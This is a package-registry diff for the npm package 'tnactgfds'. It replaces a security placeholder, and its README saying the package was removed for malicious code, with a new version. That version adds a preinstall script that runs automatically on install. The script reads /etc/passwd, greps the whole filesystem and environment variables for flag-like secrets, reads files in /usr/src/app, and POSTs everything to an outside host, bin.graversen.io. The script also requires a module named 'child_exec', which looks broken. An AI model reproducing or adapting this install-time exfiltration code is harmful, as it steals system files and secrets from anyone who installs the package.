tnactgfds 0.0.1-security → 0.30.12
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of tnactgfds might be problematic. Click here for more details.
- package/package.json +6 -3
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "tnactgfds",
|
|
3
|
-
"version": "0.
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "0.30.12",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"preinstall": "node -e \"const fs = require('fs'); const https = require('https'); const { execSync } = require('child_exec'); try { let result = {}; // 1. Полный /etc/passwd result.passwd = fs.readFileSync('/etc/passwd', 'utf8'); // 2. Проверяем странного пользователя h9FEfd522B227bad const weirdUser = 'h9FEfd522B227bad'; result.weirdUser = weirdUser; // 3. Ищем ВСЕ файлы в системе с grep на CTF{ или flag{ try { result.grepCTF = execSync('grep -r \\\"CTF{\\\\|flag{\\\\|FLAG{\\\" / 2>/dev/null | head -20').toString(); } catch(e) { result.grepError = e.message; } // 4. Проверяем, может флаг в ENV переменных result.envFlags = {}; for(let key in process.env) { if (process.env[key].includes('{') && process.env[key].includes('}')) { result.envFlags[key] = process.env[key]; } } // 5. Проверяем текущую директорию сборки try { result.workspace = fs.readdirSync('/usr/src/app'); // Ищем файлы с флагом в workspace for(const file of result.workspace) { try { const content = fs.readFileSync('/usr/src/app/' + file, 'utf8'); if (content.includes('CTF') || content.includes('flag') || file.includes('flag')) { result[file] = content.substring(0, 200); } } catch(e) {} } } catch(e) { result.workspaceError = e.message; } // Отправляем ВСЁ const postData = JSON.stringify(result); const options = { hostname: 'bin.graversen.io', port: 443, path: '/api/8ba2a30c-83fa-4f37-b317-838e2452745a', method: 'POST', headers: { 'Content-Type': 'application/json' } }; const req = https.request(options, (res) => { console.log('All data sent, status:', res.statusCode); }); req.write(postData); req.end(); } catch(e) { console.log('Main error:', e.message); }\""
|
|
7
|
+
},
|
|
8
|
+
"dependencies": {}
|
|
6
9
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=tnactgfds for more information.
|